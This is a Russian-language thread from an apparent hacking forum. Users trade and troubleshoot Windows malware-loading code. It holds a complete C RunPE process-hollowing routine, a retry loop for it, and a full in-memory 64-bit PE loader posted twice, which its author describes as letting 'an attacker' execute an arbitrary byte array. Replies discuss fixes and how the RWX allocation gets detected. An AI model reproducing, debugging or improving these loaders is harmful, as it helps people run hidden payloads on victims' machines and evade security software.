• XSS.stack #1 – первый литературный журнал от юзеров форума

RunPE работает через раз

UMF

HDD-drive
Пользователь
Регистрация
21.03.2014
Сообщения
28
Реакции
4
Доброго времени суток. Прошу помочь разобраться. Есть кодес рунпе, срабатывает через раз.
C:
BOOL RunPE(PWCHAR szFilePath, PWCHAR szCommandLine, PVOID pFile)
{
    typedef LONG (WINAPI *TD_NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

    BOOL bResult;
    PIMAGE_DOS_HEADER IDH;     
    PIMAGE_NT_HEADERS INH;     
    PIMAGE_SECTION_HEADER ISH;
    PROCESS_INFORMATION PI;   
    LPSTARTUPINFOW SI;           
    PCONTEXT CTX;             
    PDWORD dwImageBase;       
    LPVOID pImageBase;       
    DWORD SizeOfInject;
    int Count;     
    TD_NtUnmapViewOfSection NtUnmapViewOfSection;
    HANDLE hPToken;
    HANDLE hDupToken;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hPToken);
    DuplicateTokenEx(hPToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,&hDupToken);
    IDH = (PIMAGE_DOS_HEADER)pFile;
    if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
    {
        INH = (PIMAGE_NT_HEADERS)((DWORD)(pFile) + IDH->e_lfanew);
        if (INH->Signature == IMAGE_NT_SIGNATURE)
        {
            SI = (LPSTARTUPINFOW)VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_READWRITE);
            if (CreateProcessAsUserW(hDupToken, szFilePath, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, SI, &PI))
            {
                CTX = (PCONTEXT)VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE);
                CTX->ContextFlags = CONTEXT_FULL;
                if (GetThreadContext(PI.hThread, (LPCONTEXT)CTX))
                {
                    ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
                    if ((DWORD)(dwImageBase) == INH->OptionalHeader.ImageBase)
                    {
                        NtUnmapViewOfSection = (TD_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");
                        NtUnmapViewOfSection(PI.hProcess, (PVOID)INH->OptionalHeader.ImageBase);
                    }
                    INH->OptionalHeader.SizeOfStackCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfStackReserve = 0x00200000;
                    INH->OptionalHeader.SizeOfHeapCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfHeapReserve = 0x00200000;
                    SizeOfInject = INH->OptionalHeader.SizeOfImage;
                    pImageBase = VirtualAllocEx(PI.hProcess, (LPVOID)(INH->OptionalHeader.ImageBase), SizeOfInject, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 0x3000
                    if (pImageBase)
                    {
                        WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                        for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                        {
                            ISH = (PIMAGE_SECTION_HEADER)((DWORD)(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                            WriteProcessMemory(PI.hProcess, (LPVOID)((DWORD)(pImageBase) + ISH->VirtualAddress), (LPVOID)((DWORD)(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                        }
                        WriteProcessMemory(PI.hProcess, (LPVOID)(CTX->Ebx + 8), (LPVOID)(&INH->OptionalHeader.ImageBase), 4, NULL);
                        CTX->Eax = (DWORD)(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                        SetThreadContext(PI.hThread, (LPCONTEXT)(CTX));
                        ResumeThread(PI.hThread);
                        bResult = TRUE;
                    }
                    else
                    {
                        TerminateProcess(PI.hProcess, 0);
                        bResult = FALSE;
                    }
                }
                VirtualFree(CTX, 0, MEM_RELEASE);
            }
            VirtualFree(SI, 0, MEM_RELEASE);
        }
    }
    CloseHandle(hPToken);
    CloseHandle(hDupToken);
    VirtualFree(pFile, 0, MEM_RELEASE);
    return bResult;
}

можно сделать так
C:
            if (data[0] == 0x4D)
            {
                while(1)
                {
                    if (RunPE(szInjectPath, szSourcePath, data) == TRUE)
                    {
                        goto _next;
                    }
                }
            }
            _next:
            ExitProcess(0);
срабатывает в 9/10 случаев... как это сделать чтобы срабатывало сразу, где косяк?
 
ChatGPT
Аа вы про бот... Понял. Все ровно что в гугл отправить. Ладно буду сам разбираться, спасибо всем за помощь.
 
Последнее редактирование:
I wrote code ages ago to execute a 64bit binary in-memory. It will allow an attacker to read a byte array into memory and execute it. The source of the byte array does not matter,
C++:
#include "Win32Helper.h"

PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length)
{
    PBYTE D = (PBYTE)Destination;
    PBYTE S = (PBYTE)Source;

    while (Length--)
        *D++ = *S++;

    return Destination;
}


BOOL RtlLoadPeHeaders(_Inout_ PIMAGE_DOS_HEADER* Dos, _Inout_ PIMAGE_NT_HEADERS* Nt, _Inout_ PIMAGE_FILE_HEADER* File, _Inout_ PIMAGE_OPTIONAL_HEADER* Optional, _Inout_ PBYTE* ImageBase)
{
    *Dos = (PIMAGE_DOS_HEADER)*ImageBase;
    if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;

    *Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew);
    if ((*Nt)->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;

    *File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD));
    *Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER));

    return TRUE;
}

BOOL UnusedSubroutineRepair64bitImportAddressTable(PBYTE ExecutableMemoryBaseAddress)
{
    PIMAGE_DOS_HEADER DosHeader = NULL;
    PIMAGE_NT_HEADERS NtHeader = NULL;
    PIMAGE_FILE_HEADER FileHeader = NULL;
    PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
    PIMAGE_DATA_DIRECTORY ImportAddressTable = NULL;
    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL;

    if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &ExecutableMemoryBaseAddress))
        return FALSE;

    ImportAddressTable = &OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (ImportAddressTable == NULL)
        return FALSE;

    for (ULONGLONG Size = 0; Size < ImportAddressTable->Size; Size += sizeof(IMAGE_IMPORT_DESCRIPTOR))
    {
        LPSTR LibraryString = NULL;
        HMODULE hModule = NULL;
        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImportAddressTable->VirtualAddress + Size + (ULONG_PTR)ExecutableMemoryBaseAddress);

        if (ImportDescriptor->OriginalFirstThunk == NULL && ImportDescriptor->FirstThunk == NULL)
            break;

        LibraryString = (LPSTR)((ULONGLONG)ExecutableMemoryBaseAddress + ImportDescriptor->Name);
        hModule = LoadLibraryA(LibraryString);

        for(ULONGLONG OffsetField = ERROR_SUCCESS, OffsetThunk = ERROR_SUCCESS;;)
        {
            PIMAGE_THUNK_DATA FieldThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetField + ImportDescriptor->FirstThunk);
            PIMAGE_THUNK_DATA OriginalThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetThunk + (ImportDescriptor->OriginalFirstThunk == NULL ? ImportDescriptor->FirstThunk : ImportDescriptor->OriginalFirstThunk));
        
            if (OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
            {
                if (hModule != NULL)
                    FieldThunk->u1.Function = (ULONGLONG)GetProcAddressA((DWORD64)hModule, (PCHAR)(OriginalThunk->u1.Ordinal & 0xFFFF));
            }

            if (FieldThunk->u1.Function == NULL)
            {
                if (hModule != NULL)
                    FreeLibrary(hModule);

                break;
            }

            if (FieldThunk->u1.Function == OriginalThunk->u1.Function)
            {
                PIMAGE_IMPORT_BY_NAME ImportNameString = (PIMAGE_IMPORT_BY_NAME)(ULONGLONG(ExecutableMemoryBaseAddress) + OriginalThunk->u1.AddressOfData);
                if (ImportNameString != NULL)
                {
                    if(hModule != NULL)
                        FieldThunk->u1.Function = (ULONGLONG)GetProcAddress(hModule, ImportNameString->Name); //GetProcAddressA has fatal error...
                }
            }
            OffsetField += sizeof(IMAGE_THUNK_DATA);
            OffsetThunk += sizeof(IMAGE_THUNK_DATA);
        }

        if (hModule != NULL)
            FreeLibrary(hModule);
    }

    return TRUE;
}

DWORD MpfExecute64bitPeBinaryInMemoryFromByteArrayNoReloc(_In_ PBYTE BinaryImage)
{
    PIMAGE_DOS_HEADER DosHeader = NULL;
    PIMAGE_NT_HEADERS NtHeader = NULL;
    PIMAGE_FILE_HEADER FileHeader = NULL;
    PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
    PIMAGE_DATA_DIRECTORY RelocationDirectory = NULL;
    PIMAGE_SECTION_HEADER SectionHeaderArray = NULL;
    PBYTE ExecutableMemoryBaseAddress = NULL;
    DWORD dwError = ERROR_SUCCESS;
    BOOL bFlag = FALSE;
    ULONGLONG ExecutionPointer = ERROR_SUCCESS;

    if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &BinaryImage))
        return -1;

    ExecutableMemoryBaseAddress = (PBYTE)VirtualAlloc((LPVOID)OptionalHeader->ImageBase, OptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!ExecutableMemoryBaseAddress)
    {
        ExecutableMemoryBaseAddress = (PBYTE)VirtualAlloc(NULL, OptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!ExecutableMemoryBaseAddress)
            return -1;
    }

    OptionalHeader->ImageBase = (ULONGLONG)ExecutableMemoryBaseAddress;
    CopyMemoryEx(ExecutableMemoryBaseAddress, BinaryImage, OptionalHeader->SizeOfHeaders);

    SectionHeaderArray = (PIMAGE_SECTION_HEADER)(ULONGLONG(NtHeader) + sizeof(IMAGE_NT_HEADERS));
    for (DWORD dwX = 0; dwX < FileHeader->NumberOfSections; dwX++)
    {
        CopyMemoryEx(LPVOID(ULONGLONG(ExecutableMemoryBaseAddress) + SectionHeaderArray[dwX].VirtualAddress), LPVOID(ULONGLONG(BinaryImage) + SectionHeaderArray[dwX].PointerToRawData), SectionHeaderArray[dwX].SizeOfRawData);
    }

    if (!UnusedSubroutineRepair64bitImportAddressTable(ExecutableMemoryBaseAddress))
        goto EXIT_ROUTINE;

    ExecutionPointer = (ULONGLONG)(ExecutableMemoryBaseAddress) + OptionalHeader->AddressOfEntryPoint;

    ((VOID(*)())ExecutionPointer)();

    bFlag = TRUE;

EXIT_ROUTINE:

    if (!bFlag)
        VirtualFree(ExecutableMemoryBaseAddress, 0, MEM_RELEASE);

    return dwError;
}
 
I wrote code ages ago to execute a 64bit binary in-memory. It will allow an attacker to read a byte array into memory and execute it. The source of the byte array does not matter,
C++:
#include "Win32Helper.h"

PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length)
{
    PBYTE D = (PBYTE)Destination;
    PBYTE S = (PBYTE)Source;

    while (Length--)
        *D++ = *S++;

    return Destination;
}


BOOL RtlLoadPeHeaders(_Inout_ PIMAGE_DOS_HEADER* Dos, _Inout_ PIMAGE_NT_HEADERS* Nt, _Inout_ PIMAGE_FILE_HEADER* File, _Inout_ PIMAGE_OPTIONAL_HEADER* Optional, _Inout_ PBYTE* ImageBase)
{
    *Dos = (PIMAGE_DOS_HEADER)*ImageBase;
    if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;

    *Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew);
    if ((*Nt)->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;

    *File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD));
    *Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER));

    return TRUE;
}

BOOL UnusedSubroutineRepair64bitImportAddressTable(PBYTE ExecutableMemoryBaseAddress)
{
    PIMAGE_DOS_HEADER DosHeader = NULL;
    PIMAGE_NT_HEADERS NtHeader = NULL;
    PIMAGE_FILE_HEADER FileHeader = NULL;
    PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
    PIMAGE_DATA_DIRECTORY ImportAddressTable = NULL;
    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL;

    if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &ExecutableMemoryBaseAddress))
        return FALSE;

    ImportAddressTable = &OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (ImportAddressTable == NULL)
        return FALSE;

    for (ULONGLONG Size = 0; Size < ImportAddressTable->Size; Size += sizeof(IMAGE_IMPORT_DESCRIPTOR))
    {
        LPSTR LibraryString = NULL;
        HMODULE hModule = NULL;
        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImportAddressTable->VirtualAddress + Size + (ULONG_PTR)ExecutableMemoryBaseAddress);

        if (ImportDescriptor->OriginalFirstThunk == NULL && ImportDescriptor->FirstThunk == NULL)
            break;

        LibraryString = (LPSTR)((ULONGLONG)ExecutableMemoryBaseAddress + ImportDescriptor->Name);
        hModule = LoadLibraryA(LibraryString);

        for(ULONGLONG OffsetField = ERROR_SUCCESS, OffsetThunk = ERROR_SUCCESS;;)
        {
            PIMAGE_THUNK_DATA FieldThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetField + ImportDescriptor->FirstThunk);
            PIMAGE_THUNK_DATA OriginalThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetThunk + (ImportDescriptor->OriginalFirstThunk == NULL ? ImportDescriptor->FirstThunk : ImportDescriptor->OriginalFirstThunk));
       
            if (OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
            {
                if (hModule != NULL)
                    FieldThunk->u1.Function = (ULONGLONG)GetProcAddressA((DWORD64)hModule, (PCHAR)(OriginalThunk->u1.Ordinal & 0xFFFF));
            }

            if (FieldThunk->u1.Function == NULL)
            {
                if (hModule != NULL)
                    FreeLibrary(hModule);

                break;
            }

            if (FieldThunk->u1.Function == OriginalThunk->u1.Function)
            {
                PIMAGE_IMPORT_BY_NAME ImportNameString = (PIMAGE_IMPORT_BY_NAME)(ULONGLONG(ExecutableMemoryBaseAddress) + OriginalThunk->u1.AddressOfData);
                if (ImportNameString != NULL)
                {
                    if(hModule != NULL)
                        FieldThunk->u1.Function = (ULONGLONG)GetProcAddress(hModule, ImportNameString->Name); //GetProcAddressA has fatal error...
                }
            }
            OffsetField += sizeof(IMAGE_THUNK_DATA);
            OffsetThunk += sizeof(IMAGE_THUNK_DATA);
        }

        if (hModule != NULL)
            FreeLibrary(hModule);
    }

    return TRUE;
}

DWORD MpfExecute64bitPeBinaryInMemoryFromByteArrayNoReloc(_In_ PBYTE BinaryImage)
{
    PIMAGE_DOS_HEADER DosHeader = NULL;
    PIMAGE_NT_HEADERS NtHeader = NULL;
    PIMAGE_FILE_HEADER FileHeader = NULL;
    PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
    PIMAGE_DATA_DIRECTORY RelocationDirectory = NULL;
    PIMAGE_SECTION_HEADER SectionHeaderArray = NULL;
    PBYTE ExecutableMemoryBaseAddress = NULL;
    DWORD dwError = ERROR_SUCCESS;
    BOOL bFlag = FALSE;
    ULONGLONG ExecutionPointer = ERROR_SUCCESS;

    if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &BinaryImage))
        return -1;

    ExecutableMemoryBaseAddress = (PBYTE)VirtualAlloc((LPVOID)OptionalHeader->ImageBase, OptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!ExecutableMemoryBaseAddress)
    {
        ExecutableMemoryBaseAddress = (PBYTE)VirtualAlloc(NULL, OptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!ExecutableMemoryBaseAddress)
            return -1;
    }

    OptionalHeader->ImageBase = (ULONGLONG)ExecutableMemoryBaseAddress;
    CopyMemoryEx(ExecutableMemoryBaseAddress, BinaryImage, OptionalHeader->SizeOfHeaders);

    SectionHeaderArray = (PIMAGE_SECTION_HEADER)(ULONGLONG(NtHeader) + sizeof(IMAGE_NT_HEADERS));
    for (DWORD dwX = 0; dwX < FileHeader->NumberOfSections; dwX++)
    {
        CopyMemoryEx(LPVOID(ULONGLONG(ExecutableMemoryBaseAddress) + SectionHeaderArray[dwX].VirtualAddress), LPVOID(ULONGLONG(BinaryImage) + SectionHeaderArray[dwX].PointerToRawData), SectionHeaderArray[dwX].SizeOfRawData);
    }

    if (!UnusedSubroutineRepair64bitImportAddressTable(ExecutableMemoryBaseAddress))
        goto EXIT_ROUTINE;

    ExecutionPointer = (ULONGLONG)(ExecutableMemoryBaseAddress) + OptionalHeader->AddressOfEntryPoint;

    ((VOID(*)())ExecutionPointer)();

    bFlag = TRUE;

EXIT_ROUTINE:

    if (!bFlag)
        VirtualFree(ExecutableMemoryBaseAddress, 0, MEM_RELEASE);

    return dwError;
}
Where’s the section processing? Relocation processing?
 
А memory protection восстановить?
У него изначально выделяется PAGE_EXECUTE_READWRITE под все секции, некрасиво, но запустится. И спалится через пару секунд.
А чего ты ждал от кода, который загружает простейшие PE с одним только импортом ?
И кстати это LoadPE, автор поста просил RunPE
 
Where’s the section processing? Relocation processing?
The code is designed to run simple executables in-memory. Relocations will fail. Additionally, as DoppleKSE pointed out, improvements can be made for memory protection strategies. It is elementary in implementation, however it can easily be expanded upon. I believe the code is pretty straight forward. :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх